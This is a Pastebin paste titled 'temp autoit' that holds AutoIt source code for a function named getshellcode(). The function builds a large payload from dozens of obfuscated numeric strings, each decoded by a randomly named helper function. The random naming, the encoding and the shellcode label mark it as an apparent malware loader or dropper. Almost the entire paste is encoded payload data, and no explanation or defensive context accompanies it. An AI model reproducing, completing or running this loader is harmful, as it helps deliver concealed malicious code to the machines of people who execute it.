API tools faq
paste
Advertisement
PepperPotts

temp autoit

PepperPotts
Jun 6th, 2019
235
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 486.16 KB | None | 0 0
raw download clone embed print report
  1. Func getshellcode()
  2. Local $lmascgp
  3. $lmascgp &= btbxjymrfgaetpa("53,50,56,60,60,6,57,55,56,5,57,54,56,54,56,59,57,55,56,60,56,60,56,60,56,60,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56,6,56,56,57,56,56,55,57,59,56,60,56,60,56,60,56,60,56,6,56,57,57,55,57,57,56,59,56,56,56,54,56,54,56,57,56,5,56,60,56,57,56,53,56,56,56,60,56,56,56,57,56,57,57,57,56,60,57,55,57,58,56,53,57,54,56,6,57,58,56,56,56,57,56,57,57,57,56,6,56,59,56,57,57,57,56,59,56,6,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,57,54,56,60,56,6,57,58,56,56,56,56,56,59,56,6,56,53,56,6,56,6,56")
  4. $lmascgp &= btbxjymrfgaetpa("57,56,54,56,55,57,54,56,6,56,60,56,60,56,60,56,57,57,57,56,57,56,6,57,58,56,55,56,60,56,58,56,60,56,6,57,58,56,56,56,6,56,59,56,6,56,55,56,54,56,6,57,58,56,53,56,60,56,59,57,57,56,60,56,57,57,56,56,57,56,60,56,57,57,54,56,57,56,55,56,53,56,6,56,5,56,56,57,56,57,54,56,60,56,6,56,55,57,57,56,5,56,53,56,56,56,56,57,54,56,6,57,58,56,56,56,60,56,58,56,56,56,60,56,57,57,57,56,57,56,6,56,5,56,56,56,55,57,55,57,57,56,6,57,58,56,56,56,55,57,54,56,6,56,6,57,58,56,60,57,57,56,6,56,58,56,6,57,58,56,56,56,55")
  5. $lmascgp &= btbxjymrfgaetpa("56,60,56,6,56,60,56,57,57,57,57,58,56,6,56,5,56,56,56,55,57,54,56,56,56,6,57,58,56,56,56,55,57,54,56,56,56,6,57,59,56,60,56,60,56,6,56,6,56,56,56,55,57,54,57,54,56,6,57,59,56,60,56,59,56,60,57,54,57,58,57,55,56,53,57,56,57,54,57,54,56,6,56,6,56,56,56,55,57,54,57,55,56,60,57,54,57,58,57,55,57,57,56,60,56,58,57,58,57,54,56,6,57,54,57,54,56,56,56,55,57,54,56,56,56,6,56,60,56,53,57,56,57,54,57,54,56,60,56,60,56,53,56,56,56,60,57,58,56,56,56,59,56,6,56,60,56,53,57,56,57,54,57,55,56,60,56,60,56,53,56,56,56")
  6. $lmascgp &= btbxjymrfgaetpa("60,56,56,56,6,56,55,57,54,57,54,56,53,56,56,57,56,56,54,56,6,56,55,57,54,57,54,56,53,56,56,56,59,56,57,57,54,57,54,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,54,56,6,56,57,57,58,56,56,56,55,57,54,56,60,56,53,56,58,57,58,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,55,57,55,57,57,56,6,57,58,56,56,57,56,57,54,56,6,56,60,57,54,57,58,56,53,56,60,56,56,56,56,56,6,56,6,57,58,56,60,56,56,56,6,56,54,56,60,56,57,57,57,56,57,57,55")
  7. $lmascgp &= btbxjymrfgaetpa("57,58,57,55,56,5,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,57,57,56,55,57,57,56,54,56,56,56,6,57,58,56,60,57,56,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,6,57,58,57,54,56,60,56,57,56,57,57,57,56,60,56,6,56,5,56,56,56,55,57,54,57,57,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,5,56,60,57,57,56,6,57,58,56,56,56,5,56,59,56,56,56,6,57,58,56,60,56,5,56,6,57,58,56,55,56,5,56,59,56,60,56,55,56,53,57,57,56,53,56,56,56,55,57,56,56,60,56,56,57,55,56,53,56")
  8. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,54,56,53,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,54,56,55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,56,56,55,57,56,57,57,56,54,57,55,56,60,56,60,57,57,56,53,56,56,56,55,57,58,57,57,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,56,56,55,57,57,56,60,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,56,56,55,57,57,56,56,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57")
  9. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,56,56,55,57,57,57,57,56,54,57,54,56,54,57,55,56,6,56,6,56,56,56,55,57,57,57,55,56,57,57,58,57,56,56,6,56,53,56,55,56,60,56,53,56,57,56,57,57,57,56,60,57,55,56,5,57,59,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,57,55,56,6,57,56,57,54,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,58,57,57,56,55,56,60,57,55,56,6,57")
  10. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,57,54,56,60,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,57,57,56,53,56,56,56,55,57,55,56,6,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,55,56,54,57,55,57,57,56,54,56,56,56,55,57,55")
  11. $lmascgp &= btbxjymrfgaetpa("57,55,56,60,56,60,57,55,56,6,57,59,56,54,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,54,56,6,56,5,56,53,56,55,57,55,56,56,57,54,57,54,57,56,56,60,56,60,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,58,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,5,56,6,56,5,56,56,56,55,57,59,57,57,56,6,57,56,56,56,56,55,57,59,56,56,56,55,56,60,56,57,56,57,57,54,56,54,56,54,57,59,56,60,57,57,56,6,57,56,56,56,56,55,57,54,56,56,56,55,56,60,57,57,56,53,56,56,56")
  12. $lmascgp &= btbxjymrfgaetpa("55,57,59,56,56,56,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,59,56,6,57,57,56,53,56,56,56,55,57,58,56,60,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,58,56,56,56,6,56,5,56,53,56,55,57,58,56,6,57,54,57,54,57,56,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,53,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,59,56,60,56,58,56,55,56,54,56,54,57,59,56,60,56,59,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,55,56,54,56,55,56,54,56,55,56,54")
  13. $lmascgp &= btbxjymrfgaetpa("56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,54,56,56,57,54,57,54,56,55,56,55,57,54,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,55,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,54,57,57,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,57,56,55,56,55,56,6,57,58,57,55,57,57,56,55,56,59,56,55,56,59,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,56,57,57")
  14. $lmascgp &= btbxjymrfgaetpa("57,56,60,56,59,56,56,56,6,57,58,56,60,56,6,56,55,56,57,56,55,56,54,56,55,56,53,56,6,56,5,56,56,56,55,57,54,56,6,56,57,57,58,57,57,56,6,57,55,57,58,56,57,56,58,56,6,57,58,56,56,56,5,56,58,56,6,56,6,57,58,56,53,57,56,56,60,56,6,56,60,57,54,57,58,56,53,56,59,56,53,56,60,57,54,57,58,56,53,56,57,56,59,56,6,57,58,57,56,57,55,56,6,57,58,57,57,56,58,56,58,57,58,57,57,56,57,56,6,56,57,57,57,56,53,56,60,56,58,56,54,56,54,56,6,56,55,57,56,56,58,56,53,56,56,56,60,57,57,56,6,56,57,57,57,56,59,56,60,56,58,56,54")
  15. $lmascgp &= btbxjymrfgaetpa("56,54,56,6,56,55,57,54,56,54,56,53,56,56,56,60,56,56,56,6,56,55,57,57,56,60,56,53,56,56,57,55,56,60,56,6,56,55,57,57,56,60,56,6,57,58,56,56,56,55,57,54,57,57,56,53,56,56,56,59,56,57,56,6,57,58,56,60,56,6,56,57,57,58,56,56,57,56,57,54,56,6,56,6,56,5,56,56,57,56,57,54,57,57,56,53,56,55,57,57,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,60,56,59,56,60,57,55,57,58,57,54,56,56,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56")
  16. $lmascgp &= btbxjymrfgaetpa("6,56,54,56,60,56,59,56,55,56,60,56,60,56,60,56,60,57,55,56,6,56,59,57,58,56,59,57,55,56,60,56,60,56,60,56,60,56,57,56,58,57,57,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,55,56,54,56,56,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57")
  17. $lmascgp &= btbxjymrfgaetpa("56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,58,56,56,57")
  18. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,5,56,53,57,59,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,54,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,54,57,54,56,53,56,55,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,6,56,6,56,6")
  19. $lmascgp &= btbxjymrfgaetpa("56,55,56,57,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,57,56,54,57,58,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56")
  20. $lmascgp &= btbxjymrfgaetpa("6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,56,5,57,54,57,54,57,54,57,54")
  21. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,56,60,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,57,57,57,57,56,53,56,6,56,55,56,5,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,54,56,54,56,57,56,54,56,59,57,57,56,53,56,6,56,55,56,5,56,6,57")
  22. $lmascgp &= btbxjymrfgaetpa("54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56")
  23. $lmascgp &= btbxjymrfgaetpa("57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56")
  24. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,56,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,56,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,56,57,54,56,5")
  25. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,57,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56")
  26. $lmascgp &= btbxjymrfgaetpa("54,57,55,56,54,56,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,60,56,60,57,57,56,53,56,56,56,55,57,58,56,6,56,54,57,56,56,54,56,58,56,53,56,57,56,53,56,56,57,57,56,53,56,56,56,55,57,58,57,57,56,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,6,56,6,56,56,56,55,57,57,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,53,56,57,56,53,56,56,56,53,56,58,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,57,56")
  27. $lmascgp &= btbxjymrfgaetpa("57,59,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,55,56,53,56,56,56,54,56,56,57,57,56,53,56,6,56,55,56,56,56")
  28. $lmascgp &= btbxjymrfgaetpa("6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53")
  29. $lmascgp &= btbxjymrfgaetpa("56,6,56,55,56,5,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,60,56,54,56,5,56,57,56,57,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,56,56,57")
  30. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,58,56,54")
  31. $lmascgp &= btbxjymrfgaetpa("56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,55,56,54,57,57,56,57,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56")
  32. $lmascgp &= btbxjymrfgaetpa("60,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,53,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,58,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54")
  33. $lmascgp &= btbxjymrfgaetpa("56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,55,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,56,56,54,57,57,56")
  34. $lmascgp &= btbxjymrfgaetpa("54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54")
  35. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,57,56,55,57,57,56,54,56,59,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,53,56,54,56,54,56,59,56,53,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,5,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57")
  36. $lmascgp &= btbxjymrfgaetpa("54,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,58,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,55,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,58,56,6")
  37. $lmascgp &= btbxjymrfgaetpa("57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,53,56,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56")
  38. $lmascgp &= btbxjymrfgaetpa("53,56,57,56,54,56,55,56,53,56,58,56,57,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57")
  39. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,56,57,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,56,57,57,56,53,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56")
  40. $lmascgp &= btbxjymrfgaetpa("53,56,56,56,55,57,55,56,60,56,57,56,57,56,57,56,58,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,56,56,55,57,55,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,55,56,54,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,5")
  41. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,53,56,55,56,54,56,55,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56")
  42. $lmascgp &= btbxjymrfgaetpa("56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,57,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57")
